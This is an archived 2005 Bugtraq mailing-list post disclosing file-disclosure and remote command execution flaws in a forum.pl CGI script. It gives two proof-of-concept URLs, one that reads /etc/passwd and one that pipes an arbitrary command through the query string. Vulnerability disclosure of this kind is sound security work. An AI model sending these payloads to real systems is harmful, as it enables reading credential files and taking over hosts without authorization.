Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:

bugtraq logo Bugtraq mailing list archives

remote command execution in forum.pl script
From: fireboy fireboy <fireboynet () webmails com>
Date: 24 Apr 2005 21:09:50 -0000


Tunis 24/04/2005
BUG found by fireboy
fireboy () webmails com



THERE ARE SOME BUGS IN  forum.pl SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/cgi-bin/forum.pl?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/forum.pl?|command


greetz to all magattack memebers www.magattack.tk

  By Date           By Thread  

Current thread:
  • remote command execution in forum.pl script fireboy fireboy (Apr 25)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]